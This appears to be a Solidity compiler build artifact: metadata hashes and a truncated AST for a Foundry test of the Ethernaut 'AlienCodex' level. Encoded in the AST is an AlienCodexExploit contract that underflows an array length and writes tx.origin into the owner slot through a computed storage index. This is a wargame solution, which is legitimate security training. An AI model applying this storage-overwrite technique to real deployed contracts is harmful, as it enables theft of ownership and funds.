91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Dummy.sol":{"keccak256":"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5","urls":["bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339","dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD"],"license":"MIT"},"src/levels/DummyFactory.sol":{"keccak256":"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80","urls":["bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f","dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/AlienCodex.t.sol":{"keccak256":"0xbe568b21e461ba20f7ed23eddd9094566d2bef8971a5a1492a9382dbd550bb56","urls":["bzz-raw://c4be1737b045b52bb1fcf3508efceae0197825804be7740ec24009694f051bbf","dweb:/ipfs/QmS93Degcegdo9DXgpFvqmXGfRiwC3L1S9LdKxauwhRJZU"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/AlienCodex.t.sol","id":59119,"exportedSymbols":{"AlienCodex":[58885],"AlienCodexExploit":[58946],"DummyFactory":[52145],"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestAlienCodex":[59118],"TestBase":[65],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2422:121","nodes":[{"id":58857,"nodeType":"PragmaDirective","src":"32:23:121","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":58858,"nodeType":"ImportDirective","src":"57:28:121","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":59119,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":58860,"nodeType":"ImportDirective","src":"86:43:121","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":59119,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":58859,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:121","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58862,"nodeType":"ImportDirective","src":"131:57:121","nodes":[],"absolutePath":"src/levels/DummyFactory.sol","file":"src/levels/DummyFactory.sol","nameLocation":"-1:-1:-1","scope":59119,"sourceUnit":52146,"symbolAliases":[{"foreign":{"id":58861,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"139:12:121","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58864,"nodeType":"ImportDirective","src":"189:48:121","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":59119,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":58863,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"197:5:121","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58866,"nodeType":"ImportDirective","src":"238:44:121","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":59119,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":58865,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"246:9:121","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58885,"nodeType":"ContractDefinition","src":"284:181:121","nodes":[{"id":58869,"nodeType":"FunctionDefinition","src":"311:32:121","nodes":[],"functionSelector":"328b52cb","implemented":false,"kind":"function","modifiers":[],"name":"makeContact","nameLocation":"320:11:121","parameters":{"id":58867,"nodeType":"ParameterList","parameters":[],"src":"331:2:121"},"returnParameters":{"id":58868,"nodeType":"ParameterList","parameters":[],"src":"342:0:121"},"scope":58885,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":58874,"nodeType":"FunctionDefinition","src":"348:34:121","nodes":[],"functionSelector":"b5c645bd","implemented":false,"kind":"function","modifiers":[],"name":"record","nameLocation":"357:6:121","parameters":{"id":58872,"nodeType":"ParameterList","parameters":[{"constant":false,"id":58871,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":58874,"src":"364:7:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":58870,"name":"bytes32","nodeType":"ElementaryTypeName","src":"364:7:121","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"363:9:121"},"returnParameters":{"id":58873,"nodeType":"ParameterList","parameters":[],"src":"381:0:121"},"scope":58885,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":58877,"nodeType":"FunctionDefinition","src":"387:28:121","nodes":[],"functionSelector":"47f57b32","implemented":false,"kind":"function","modifiers":[],"name":"retract","nameLocation":"396:7:121","parameters":{"id":58875,"nodeType":"ParameterList","parameters":[],"src":"403:2:121"},"returnParameters":{"id":58876,"nodeType":"ParameterList","parameters":[],"src":"414:0:121"},"scope":58885,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":58884,"nodeType":"FunctionDefinition","src":"420:43:121","nodes":[],"functionSelector":"0339f300","implemented":false,"kind":"function","modifiers":[],"name":"revise","nameLocation":"429:6:121","parameters":{"id":58882,"nodeType":"ParameterList","parameters":[{"constant":false,"id":58879,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":58884,"src":"436:7:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":58878,"name":"uint256","nodeType":"ElementaryTypeName","src":"436:7:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":58881,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":58884,"src":"445:7:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":58880,"name":"bytes32","nodeType":"ElementaryTypeName","src":"445:7:121","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"435:18:121"},"returnParameters":{"id":58883,"nodeType":"ParameterList","parameters":[],"src":"462:0:121"},"scope":58885,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"AlienCodex","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[58885],"name":"AlienCodex","nameLocation":"294:10:121","scope":59119,"usedErrors":[],"usedEvents":[]},{"id":58946,"nodeType":"ContractDefinition","src":"467:381:121","nodes":[{"id":58945,"nodeType":"FunctionDefinition","src":"500:346:121","nodes":[],"body":{"id":58944,"nodeType":"Block","src":"549:297:121","nodes":[],"statements":[{"assignments":[58892],"declarations":[{"constant":false,"id":58892,"mutability":"mutable","name":"instance","nameLocation":"570:8:121","nodeType":"VariableDeclaration","scope":58944,"src":"559:19:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"},"typeName":{"id":58891,"nodeType":"UserDefinedTypeName","pathNode":{"id":58890,"name":"AlienCodex","nameLocations":["559:10:121"],"nodeType":"IdentifierPath","referencedDeclaration":58885,"src":"559:10:121"},"referencedDeclaration":58885,"src":"559:10:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"visibility":"internal"}],"id":58896,"initialValue":{"arguments":[{"id":58894,"name":"instanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58887,"src":"592:15:121","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58893,"name":"AlienCodex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58885,"src":"581:10:121","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_AlienCodex_$58885_$","typeString":"type(contract AlienCodex)"}},"id":58895,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"581:27:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"nodeType":"VariableDeclarationStatement","src":"559:49:121"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58897,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58892,"src":"618:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"id":58899,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"627:11:121","memberName":"makeContact","nodeType":"MemberAccess","referencedDeclaration":58869,"src":"618:20:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58900,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"618:22:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58901,"nodeType":"ExpressionStatement","src":"618:22:121"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58902,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58892,"src":"650:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"id":58904,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"659:7:121","memberName":"retract","nodeType":"MemberAccess","referencedDeclaration":58877,"src":"650:16:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58905,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"650:18:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58906,"nodeType":"ExpressionStatement","src":"650:18:121"},{"assignments":[58908],"declarations":[{"constant":false,"id":58908,"mutability":"mutable","name":"codexZeroIndex","nameLocation":"686:14:121","nodeType":"VariableDeclaration","scope":58944,"src":"678:22:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":58907,"name":"uint256","nodeType":"ElementaryTypeName","src":"678:7:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":58918,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"hexValue":"31","id":58914,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"732:1:121","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"expression":{"id":58912,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"721:3:121","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":58913,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"725:6:121","memberName":"encode","nodeType":"MemberAccess","src":"721:10:121","typeDescriptions":{"typeIdentifier":"t_function_abiencode_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":58915,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"721:13:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":58911,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"711:9:121","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":58916,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"711:24:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":58910,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"703:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":58909,"name":"uint256","nodeType":"ElementaryTypeName","src":"703:7:121","typeDescriptions":{}}},"id":58917,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"703:33:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"678:58:121"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":58930,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":58928,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":58924,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"767:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":58923,"name":"uint256","nodeType":"ElementaryTypeName","src":"767:7:121","typeDescriptions":{}}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"id":58922,"name":"type","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-27,"src":"762:4:121","typeDescriptions":{"typeIdentifier":"t_function_metatype_pure$__$returns$__$","typeString":"function () pure"}},"id":58925,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"762:13:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_magic_meta_type_t_uint256","typeString":"type(uint256)"}},"id":58926,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"776:3:121","memberName":"max","nodeType":"MemberAccess","src":"762:17:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":58927,"name":"codexZeroIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58908,"src":"782:14:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"762:34:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"31","id":58929,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"799:1:121","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"762:38:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"arguments":[{"arguments":[{"arguments":[{"expression":{"id":58937,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"826:2:121","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":58938,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"829:6:121","memberName":"origin","nodeType":"MemberAccess","src":"826:9:121","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58936,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"818:7:121","typeDescriptions":{"typeI